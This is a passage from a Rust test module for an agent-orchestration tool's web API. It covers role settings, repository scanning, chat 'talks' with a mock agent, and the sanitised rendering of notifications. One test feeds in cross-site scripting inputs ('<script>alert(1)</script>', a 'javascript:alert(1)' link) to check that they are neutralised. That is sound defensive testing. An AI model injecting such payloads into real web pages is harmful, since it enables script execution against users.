13509        assert_eq!(role("advisors")["source"], "repo");
13510        assert_eq!(role("advisors")["editable"], false);
13511        assert!(role("advisors")["machine_value"].is_null());
13512        assert_eq!(role("judges")["count"]["value"], 2);
13513        assert_eq!(role("judges")["count"]["machine_value"], 1);
13514        assert_eq!(role("judges")["count"]["source"], "repo");
13515        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13516        assert!(
13517            source.contains("origin/main") && !source.contains("magi/config/"),
13518            "{source}"
13519        );
13520        assert_eq!(
13521            role("reviewers")["editable"],
13522            false,
13523            "default context outside roots must protect its declarations"
13524        );
13525        let body =
13526            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13527        let unknown = format!("?repo={}", tmp.path().display());
13528        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13529        assert_eq!(
13530            f.put(&format!("/api/settings/roles{unknown}"), &body)
13531                .await
13532                .status,
13533            422
13534        );
13535        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13536        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13537            .to_string();
13538        assert_eq!(
13539            f.put(&format!("/api/settings/roles{query}"), &refuse)
13540                .await
13541                .status,
13542            422
13543        );
13544        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13545        assert_eq!(saved.status, 200, "{}", saved.body);
13546        assert_eq!(saved.json()["repo"], v["repo"]);
13547        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13548        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13549        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13550            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13551        }
13552        let error = f
13553            .get(&format!("/api/settings?repo={}", broken.display()))
13554            .await;
13555        assert_eq!(error.status, 200);
13556        assert!(error.json()["error"]["message"].is_string());
13557        assert_eq!(error.json()["repositories"], default["repositories"]);
13558    }
13559
13560    #[tokio::test]
13561    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13562        let (_tmp, repo, machine) =
13563            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13564        let f = Fixture::with_repo_and_machine(repo, machine).await;
13565        let res = f.get("/api/settings").await;
13566        assert_eq!(res.status, 200, "{}", res.body);
13567        let v = res.json();
13568        assert!(v["error"].is_null(), "{v}");
13569        let role = |k: &str| {
13570            v["roles"]
13571                .as_array()
13572                .and_then(|r| r.iter().find(|x| x["key"] == k))
13573                .cloned()
13574                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13575        };
13576        assert_eq!(role("judges")["source"], "machine");
13577        assert_eq!(role("judges")["editable"], true);
13578        assert_eq!(role("implementers")["source"], "default");
13579        let adv = role("advisors");
13580        assert_eq!(adv["fallback"], "judges");
13581        assert!(
13582            adv["seats"]
13583                .as_array()
13584                .is_some_and(|s| s.iter().all(|x| x == "b")),
13585            "{adv}"
13586        );
13587        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13588        assert_eq!(v["agents"][0]["source"], "repo");
13589    }
13590
13591    #[tokio::test]
13592    async fn settings_get_reports_a_config_that_does_not_parse() {
13593        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13594        let f = Fixture::with_repo_and_machine(repo, machine).await;
13595        let res = f.get("/api/settings").await;
13596        assert_eq!(res.status, 200, "{}", res.body);
13597        let v = res.json();
13598        assert!(v["error"]["message"].is_string(), "{v}");
13599        assert!(
13600            v["error"]["path"]
13601                .as_str()
13602                .is_some_and(|p| p.ends_with("magi.toml")),
13603            "{v}"
13604        );
13605        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13606    }
13607
13608    #[tokio::test]
13609    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13610        let (_tmp, repo, machine) = settings_dirs(
13611            SETTINGS_AGENTS,
13612            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13613        );
13614        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13615        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13616        let rev = f.get("/api/settings").await.json()["revision"]
13617            .as_str()
13618            .expect("revision")
13619            .to_owned();
13620        let body = serde_json::json!({
13621            "revision": rev,
13622            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13623        })
13624        .to_string();
13625        let res = f.put("/api/settings/roles", &body).await;
13626        assert_eq!(res.status, 200, "{}", res.body);
13627        let text = std::fs::read_to_string(&machine).expect("machine");
13628        assert_eq!(
13629            text,
13630            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13631        );
13632        assert_eq!(
13633            std::fs::read(repo.join("magi.toml")).expect("read"),
13634            repo_before
13635        );
13636        let again = f.get("/api/settings").await.json();
13637        let judges = again["roles"]
13638            .as_array()
13639            .expect("roles")
13640            .iter()
13641            .find(|r| r["key"] == "judges")
13642            .expect("judges")
13643            .clone();
13644        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13645        // The old revision is now stale.
13646        let stale = f.put("/api/settings/roles", &body).await;
13647        assert_eq!(stale.status, 409, "{}", stale.body);
13648    }
13649
13650    #[tokio::test]
13651    async fn settings_counts_are_reported_and_saved() {
13652        let (_tmp, repo, machine) = settings_dirs(
13653            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13654            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13655        );
13656        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13657        let v = f.get("/api/settings").await.json();
13658        let count = |v: &serde_json::Value, k: &str| {
13659            v["roles"]
13660                .as_array()
13661                .and_then(|r| r.iter().find(|x| x["key"] == k))
13662                .map(|x| x["count"].clone())
13663                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13664        };
13665        let imp = count(&v, "implementers");
13666        assert_eq!(imp["value"], 2);
13667        assert_eq!(imp["source"], "machine");
13668        assert_eq!(imp["file_key"], "candidates");
13669        assert_eq!(imp["roster_len"], 2);
13670        assert_eq!(imp["backups"], 0);
13671        assert_eq!(count(&v, "judges")["source"], "default");
13672        assert_eq!(count(&v, "advisors")["min"], 0);
13673        assert_eq!(count(&v, "reviewers")["editable"], false);
13674        assert!(
13675            count(&v, "reviewers")["locked_reason"]
13676                .as_str()
13677                .is_some_and(|m| m.contains("graph.reviewers"))
13678        );
13679        assert!(count(&v, "fixer").is_null());
13680        let rev = v["revision"].as_str().expect("revision").to_owned();
13681        let body = serde_json::json!({
13682            "revision": rev,
13683            "roles": { "judges": ["b"] },
13684            "counts": { "implementers": 1, "advisors": 0 }
13685        })
13686        .to_string();
13687        let res = f.put("/api/settings/roles", &body).await;
13688        assert_eq!(res.status, 200, "{}", res.body);
13689        let text = std::fs::read_to_string(&machine).expect("machine");
13690        assert_eq!(
13691            text,
13692            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13693        );
13694        let after = f.get("/api/settings").await.json();
13695        assert_eq!(count(&after, "implementers")["value"], 1);
13696        assert_eq!(count(&after, "implementers")["backups"], 1);
13697        assert_eq!(count(&after, "advisors")["value"], 0);
13698        let before = std::fs::read_to_string(&machine).expect("machine");
13699        let rev = after["revision"].as_str().expect("revision").to_owned();
13700        for counts in [
13701            serde_json::json!({ "judges": 0 }),
13702            serde_json::json!({ "judges": "x" }),
13703            serde_json::json!({ "judges": 2.5 }),
13704            serde_json::json!({ "judges": -1 }),
13705            serde_json::json!({ "reviewers": 3 }),
13706            serde_json::json!({ "bogus": 3 }),
13707        ] {
13708            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13709            let res = f.put("/api/settings/roles", &body).await;
13710            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13711            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13712        }
13713    }
13714
13715    #[tokio::test]
13716    async fn settings_put_refuses_without_touching_the_file() {
13717        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13718        let (_tmp, repo, machine) = settings_dirs(
13719            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13720            Some(machine_text),
13721        );
13722        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13723        let rev = f.get("/api/settings").await.json()["revision"]
13724            .as_str()
13725            .expect("revision")
13726            .to_owned();
13727        for roles in [
13728            serde_json::json!({ "judges": ["nope"] }),
13729            serde_json::json!({ "reviewers": ["b"] }),
13730            serde_json::json!({ "bogus": ["a"] }),
13731        ] {
13732            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13733            let res = f.put("/api/settings/roles", &body).await;
13734            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13735            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13736            assert_eq!(
13737                std::fs::read_to_string(&machine).expect("machine"),
13738                machine_text
13739            );
13740        }
13741    }
13742
13743    #[tokio::test]
13744    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13745        let tmp = TempDir::new().expect("tempdir");
13746        let repo = tmp.path().join("repo");
13747        std::fs::create_dir_all(&repo).expect("repo dir");
13748        let root = tmp.path().join("root");
13749        make_checkout(&root, "github.com", "yukimemi", "magi");
13750        std::fs::write(
13751            repo.join("magi.toml"),
13752            format!(
13753                "[repos]\nroots = [{:?}]\n",
13754                root.to_string_lossy().into_owned()
13755            ),
13756        )
13757        .expect("write magi.toml");
13758
13759        let f = Fixture::with_repo(repo).await;
13760        let res = f.get("/api/repos").await;
13761        assert_eq!(res.status, 200, "{}", res.body);
13762        let list = res.json();
13763        let repos = list.as_array().expect("an array");
13764        assert_eq!(repos.len(), 1);
13765        assert_eq!(repos[0]["name"], "yukimemi/magi");
13766        assert!(
13767            repos[0]["path"]
13768                .as_str()
13769                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13770            "{list}"
13771        );
13772    }
13773
13774    #[tokio::test]
13775    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13776        let tmp = TempDir::new().expect("tempdir");
13777        let repo = tmp.path().join("repo");
13778        std::fs::create_dir_all(&repo).expect("repo dir");
13779        let root = tmp.path().join("root");
13780        make_checkout(&root, "github.com", "yukimemi", "magi");
13781        std::fs::write(
13782            repo.join("magi.toml"),
13783            format!(
13784                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13785                root.to_string_lossy().into_owned()
13786            ),
13787        )
13788        .expect("write magi.toml");
13789
13790        let f = Fixture::with_repo(repo).await;
13791        let first = f.get("/api/repos").await;
13792        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13793
13794        // A second checkout appears; within the TTL the cached answer must
13795        // not notice it.
13796        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13797        let second = f.get("/api/repos").await;
13798        assert_eq!(
13799            second.json().as_array().map(Vec::len),
13800            Some(1),
13801            "a fresh cache must not rescan inside the TTL"
13802        );
13803
13804        let refreshed = f.get("/api/repos?refresh=1").await;
13805        assert_eq!(
13806            refreshed.json().as_array().map(Vec::len),
13807            Some(2),
13808            "an explicit refresh must rescan even inside the TTL"
13809        );
13810    }
13811
13812    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13813    /// string, declared straight in a repository's own `magi.toml` rather
13814    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13815    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13816    /// this is safe to run over a real HTTP round trip.
13817    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13818
13819    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13820    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13821    /// even though it takes no turn, and `talk_say` invokes one.
13822    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13823        let tmp = TempDir::new().expect("tempdir");
13824        let repo = tmp.path().join("repo");
13825        std::fs::create_dir_all(&repo).expect("repo dir");
13826        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13827        let f = Fixture::with_repo(repo.clone()).await;
13828        (tmp, repo, f)
13829    }
13830
13831    #[tokio::test]
13832    async fn posting_a_talk_with_remembered_choices_is_soft() {
13833        let (_tmp, _repo, f) = talk_fixture().await;
13834
13835        let good = f
13836            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13837            .await;
13838        assert_eq!(good.status, 201, "{}", good.body);
13839        assert_eq!(good.json()["persona"], "rei");
13840
13841        // Wrong values and wrong types are dropped one by one, never a 4xx.
13842        let stale = f
13843            .post(
13844                "/api/talks",
13845                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13846            )
13847            .await;
13848        assert_eq!(stale.status, 201, "{}", stale.body);
13849        let v = stale.json();
13850        assert_eq!(v["implementers"], 1);
13851        assert_ne!(v["persona"], "nobody");
13852        let typed = f
13853            .post(
13854                "/api/talks",
13855                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13856            )
13857            .await;
13858        assert_eq!(typed.status, 201, "{}", typed.body);
13859
13860        // The strict `agent` field still refuses an unknown id.
13861        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13862        assert!(
13863            !strict.status.to_string().starts_with('2'),
13864            "{}",
13865            strict.body
13866        );
13867    }
13868
13869    #[tokio::test]
13870    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13871        let (_tmp, _repo, f) = talk_fixture().await;
13872
13873        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13874        // is the ordinary way a phone opens a talk.
13875        let opened = f.post("/api/talks", None).await;
13876        assert_eq!(opened.status, 201, "{}", opened.body);
13877        let body = opened.json();
13878        assert_eq!(body["status"], "open");
13879        assert_eq!(
13880            body["turns"].as_array().unwrap().len(),
13881            0,
13882            "opening takes no agent turn: there is nothing yet to answer"
13883        );
13884
13885        // An explicit empty object is the same request as none at all.
13886        let also_opened = f.post("/api/talks", Some("{}")).await;
13887        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13888
13889        let listed = f.get("/api/talks").await.json();
13890        assert_eq!(listed.as_array().unwrap().len(), 2);
13891    }
13892
13893    #[tokio::test]
13894    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13895        let tmp = TempDir::new().expect("tempdir");
13896        let repo = tmp.path().join("repo");
13897        std::fs::create_dir_all(&repo).expect("repo dir");
13898        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13899        std::fs::write(
13900            repo.join("magi.toml"),
13901            format!("{MOCK_AGENT_TOML}\n{second}"),
13902        )
13903        .expect("write magi.toml");
13904        let home = TempDir::new().expect("temp home");
13905        let talks = Talks::at(home.path().join("talks"));
13906        let ui = Arc::new(
13907            Ui::new(
13908                Queue::at(home.path().join("queue")),
13909                Questions::at(home.path().join("questions")),
13910                talks.clone(),
13911                home.path().join("runs"),
13912                home.path().to_path_buf(),
13913                repo.clone(),
13914            )
13915            .with_worktrees_root(home.path().join("wt")),
13916        );
13917        let cfg = config_for(&repo).await.expect("discover config");
13918        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13919        let id = talk.id.clone();
13920        let call = |agent: &str| {
13921            talk_agent(
13922                State(Arc::clone(&ui)),
13923                Path(id.clone()),
13924                Json(TalkAgent {
13925                    agent: agent.to_owned(),
13926                }),
13927            )
13928        };
13929
13930        let unknown = call("nobody").await.expect_err("unknown agent");
13931        assert_eq!(
13932            unknown.status,
13933            StatusCode::BAD_REQUEST,
13934            "{}",
13935            unknown.message
13936        );
13937
13938        {
13939            // Nothing refused so far took a claim, so the guard is free to take
13940            // and holding it is what makes the talk busy.
13941            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13942            let busy = call("second").await.expect_err("busy talk");
13943            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13944            assert!(
13945                busy.message.contains("a talk turn is running"),
13946                "{}",
13947                busy.message
13948            );
13949            drop(guard);
13950        }
13951        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13952
13953        let Json(view) = call("second").await.expect("switch");
13954        assert_eq!(view.talk.agent, "second");
13955        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13956        let saved = talks.get(&id).expect("reload");
13957        assert_eq!(saved.agent, "second");
13958        assert_eq!(saved.turns.len(), 1);
13959        assert!(!view.thinking);
13960        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13961        for agent in ["mock", "second"] {
13962            let Json(view) = call(agent).await.expect("immediate consecutive change");
13963            assert_eq!(view.talk.agent, agent);
13964            assert!(!view.thinking);
13965            assert!(!ui.is_thinking(&id));
13966        }
13967
13968        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13969            .await
13970            .expect("detail");
13971        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13972        assert_eq!(roster, ["mock", "second"]);
13973
13974        let mut closed = talks.get(&id).expect("reload");
13975        talk::close(&mut closed, &talks).expect("close");
13976        let refused = call("mock").await.expect_err("closed talk");
13977        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13978        assert!(
13979            refused.message.contains("takes no more turns"),
13980            "{}",
13981            refused.message
13982        );
13983    }
13984
13985    #[tokio::test]
13986    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13987        let tmp = TempDir::new().expect("tempdir");
13988        let repo = tmp.path().join("repo");
13989        std::fs::create_dir_all(&repo).expect("repo dir");
13990        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13991        let home = TempDir::new().expect("temp home");
13992        let talks = Talks::at(home.path().join("talks"));
13993        let ui = Arc::new(
13994            Ui::new(
13995                Queue::at(home.path().join("queue")),
13996                Questions::at(home.path().join("questions")),
13997                talks.clone(),
13998                home.path().join("runs"),
13999                home.path().to_path_buf(),
14000                repo.clone(),
14001            )
14002            .with_worktrees_root(home.path().join("wt")),
14003        );
14004        let cfg = config_for(&repo).await.expect("discover config");
14005        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14006        let id = talk.id.clone();
14007        let call = |n: u8| {
14008            talk_implementers(
14009                State(Arc::clone(&ui)),
14010                Path(id.clone()),
14011                Json(TalkImplementers { implementers: n }),
14012            )
14013        };
14014
14015        for bad in [0u8, 4] {
14016            let e = call(bad).await.expect_err("out of range");
14017            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14018        }
14019        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14020
14021        {
14022            // Nothing refused so far took a claim, so the guard is free to take
14023            // and holding it is what makes the talk busy.
14024            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14025            let busy = call(2).await.expect_err("busy talk");
14026            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14027            assert!(
14028                busy.message.contains("a talk turn is running"),
14029                "{}",
14030                busy.message
14031            );
14032            drop(guard);
14033        }
14034
14035        let Json(view) = call(3).await.expect("switch");
14036        assert_eq!(view.talk.implementers, 3);
14037        assert!(talks.get(&id).expect("reload").implementers_dirty);
14038        assert!(!view.thinking);
14039        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14040        for n in [1, 2, 3] {
14041            let Json(view) = call(n).await.expect("immediate consecutive change");
14042            assert_eq!(view.talk.implementers, n);
14043            assert!(!view.thinking);
14044            assert!(!ui.is_thinking(&id));
14045        }
14046
14047        let mut closed = talks.get(&id).expect("reload");
14048        talk::close(&mut closed, &talks).expect("close");
14049        let e = call(2).await.expect_err("closed talk");
14050        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14051        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14052    }
14053
14054    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14055    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14056        let tmp = TempDir::new().expect("tempdir");
14057        let repo = tmp.path().join("repo");
14058        std::fs::create_dir_all(&repo).expect("repo dir");
14059        std::fs::write(
14060            repo.join("magi.toml"),
14061            format!("{MOCK_AGENT_TOML}\n{extra}"),
14062        )
14063        .expect("write magi.toml");
14064        let home = TempDir::new().expect("temp home");
14065        let talks = Talks::at(home.path().join("talks"));
14066        let ui = Arc::new(
14067            Ui::new(
14068                Queue::at(home.path().join("queue")),
14069                Questions::at(home.path().join("questions")),
14070                talks.clone(),
14071                home.path().join("runs"),
14072                home.path().to_path_buf(),
14073                repo.clone(),
14074            )
14075            .with_worktrees_root(home.path().join("wt")),
14076        );
14077        let cfg = config_for(&repo).await.expect("discover config");
14078        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14079        (tmp, home, ui, talk.id, repo)
14080    }
14081
14082    #[tokio::test]
14083    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14084        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14085        let mut conversation = ui.talks.get(&id).unwrap();
14086        talk::record(
14087            &mut conversation,
14088            &ui.talks,
14089            "# Update on a task you filed\noperator words",
14090            vec![],
14091        )
14092        .unwrap();
14093        // Simulate an old operator record; headings do not prove authorship.
14094        conversation.turns[0].sender = None;
14095        conversation.turns[0].messages.clear();
14096        ui.talks.put(&mut conversation).unwrap();
14097        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14098        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14099        talk::drain(&mut conversation, &ui.talks).unwrap();
14100        talk::record_reply(
14101            &mut conversation,
14102            &ui.talks,
14103            "about that report",
14104            vec![],
14105            Some(talk::ReplyTarget {
14106                turn: 1,
14107                message: 1,
14108            }),
14109        )
14110        .unwrap();
14111        conversation.turns[2].messages[0]
14112            .reply
14113            .as_mut()
14114            .unwrap()
14115            .sender = None;
14116        conversation.turns.push(talk::Turn {
14117            sender: Some(talk::Sender::Persona),
14118            who: talk::Who::Agent,
14119            body: "magi: actual persona words".into(),
14120            at: Timestamp::now(),
14121            attachments: vec![],
14122            usage: None,
14123            breaks: None,
14124            messages: vec![],
14125            posted_by: None,
14126        });
14127        ui.talks.put(&mut conversation).unwrap();
14128        let view = TalkView::with_config(
14129            ui.talks.get(&id).unwrap(),
14130            false,
14131            None,
14132            &ui.home,
14133            &ui.references,
14134        );
14135        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14136        assert_eq!(
14137            view.talk.turns[1].messages[0].sender,
14138            Some(talk::Sender::Operator)
14139        );
14140        assert_eq!(
14141            view.talk.turns[1].messages[1].sender,
14142            Some(talk::Sender::Magi)
14143        );
14144        assert_eq!(
14145            view.talk.turns[2].messages[0]
14146                .reply
14147                .as_ref()
14148                .unwrap()
14149                .sender,
14150            Some(talk::Sender::Magi)
14151        );
14152        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14153        assert_eq!(view.turn_messages_md[0].len(), 1);
14154        assert!(view.turn_messages_md[0][0].is_none());
14155        assert!(view.turn_messages_md[1][0].is_none());
14156        assert!(view.turn_messages_md[1][1].is_some());
14157    }
14158
14159    #[tokio::test]
14160    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14161        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14162        let mut conversation = ui.talks.get(&id).unwrap();
14163        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14164        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14165        talk::queue_notice(
14166            &mut conversation,
14167            &ui.talks,
14168            &body,
14169            "watch:123",
14170            &|_| false,
14171            None,
14172            display.clone(),
14173        )
14174        .unwrap();
14175        assert!(
14176            !talk::queue_notice(
14177                &mut conversation,
14178                &ui.talks,
14179                &body,
14180                "watch:123",
14181                &|_| false,
14182                None,
14183                display.clone()
14184            )
14185            .unwrap()
14186        );
14187        let saved = ui.talks.get(&id).unwrap();
14188        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14189        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14190        assert!(
14191            view.talk.turns[0].messages[0].display.is_none(),
14192            "operator copy stays literal"
14193        );
14194        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14195        assert!(view.turn_messages_md[0][0].is_none());
14196        let queued_md = view.pending_messages_md[0].clone();
14197        assert_eq!(
14198            queued_md,
14199            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14200        );
14201        talk::drain(&mut conversation, &ui.talks).unwrap();
14202        talk::record_reply(
14203            &mut conversation,
14204            &ui.talks,
14205            "Explain",
14206            vec![],
14207            Some(talk::ReplyTarget {
14208                turn: 1,
14209                message: 0,
14210            }),
14211        )
14212        .unwrap();
14213        let mut saved = ui.talks.get(&id).unwrap();
14214        assert_eq!(saved.turns[1].messages[0].body, body);
14215        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14216        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14217        assert!(!reply.excerpt.contains("automatic report"));
14218        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14219        saved.turns[1].messages[0].display = None; // old MAGI send
14220        ui.talks.put(&mut saved).unwrap();
14221        let view = TalkView::with_config(
14222            ui.talks.get(&id).unwrap(),
14223            false,
14224            None,
14225            &ui.home,
14226            &ui.references,
14227        );
14228        assert_eq!(view.turn_messages_md[1][0], queued_md);
14229        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14230        assert!(
14231            !view.talk.turns[2].messages[0]
14232                .reply
14233                .as_ref()
14234                .unwrap()
14235                .excerpt
14236                .contains("automatic report")
14237        );
14238        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14239    }
14240
14241    #[tokio::test]
14242    async fn consultation_display_hides_directives_in_queue_and_history() {
14243        for node in [
14244            "implement",
14245            crate::land::APPROVAL_NODE,
14246            crate::github_text::ASK_NODE,
14247        ] {
14248            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14249            let mut question = Question::new(
14250                "run-123".into(),
14251                node.into(),
14252                "seat-1".into(),
14253                "Which backend?".into(),
14254                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14255                vec!["SQLite".into(), "Redis".into()],
14256            );
14257            ui.questions.put(&mut question).unwrap();
14258            let body = crate::prompt::chat_consult(&question);
14259            let mut conversation = ui.talks.get(&id).unwrap();
14260            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14261            assert!(
14262                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14263            );
14264            conversation = ui.talks.get(&id).unwrap();
14265            assert_eq!(conversation.pending_messages[0].body, body);
14266            assert!(body.contains("magi answer"));
14267            let mut legacy_pending = conversation.clone();
14268            legacy_pending.pending_messages[0].display = None;
14269            let legacy_view =
14270                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14271            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14272            assert!(legacy_md.contains("Question consultation"));
14273            assert!(!legacy_md.contains("magi answer"));
14274            let view =
14275                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14276            assert!(
14277                view.turn_messages_md[0][0].is_none(),
14278                "operator copy stays literal"
14279            );
14280            let queued_md = view.pending_messages_md[0].clone().unwrap();
14281            let rendered = serde_json::to_string(&queued_md).unwrap();
14282            for visible in [
14283                "Which backend?",
14284                "Context",
14285                "storage",
14286                "SQLite",
14287                "Redis",
14288                "<script>literal</script>",
14289            ] {
14290                assert!(rendered.contains(visible), "missing {visible}");
14291            }
14292            for directive in [
14293                "What to do",
14294                "magi answer",
14295                "Never answer it yourself",
14296                "Do not edit the repository",
14297            ] {
14298                assert!(!rendered.contains(directive), "exposed {directive}");
14299            }
14300            assert_eq!(
14301                view.talk.pending_messages[0].display,
14302                Some(crate::prompt::chat_consult_display(&question))
14303            );
14304            talk::drain(&mut conversation, &ui.talks).unwrap();
14305            let view =
14306                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14307            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14308            assert_eq!(conversation.turns[1].messages[0].body, body);
14309
14310            // Historical consultations lack a snapshot: show a safe placeholder
14311            // rather than parsing instructions or reconstructing mutable facts.
14312            conversation.turns[1].messages[0].display = None;
14313            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14314            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14315            assert!(legacy.contains("Question consultation"));
14316            assert!(!legacy.contains("magi answer"));
14317            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14318        }
14319    }
14320
14321    #[test]
14322    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14323        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14324        let (body, mut display) =
14325            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14326        display.facts = facts.into();
14327        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14328        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14329        let json = serde_json::to_string(&nodes).unwrap();
14330        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14331            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14332        }
14333        assert!(json.contains("<script>alert(1)</script>"));
14334        assert!(!json.contains("javascript:"));
14335        assert!(!json.contains("Tell the operator"));
14336        assert!(!json.contains("untrusted"));
14337        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
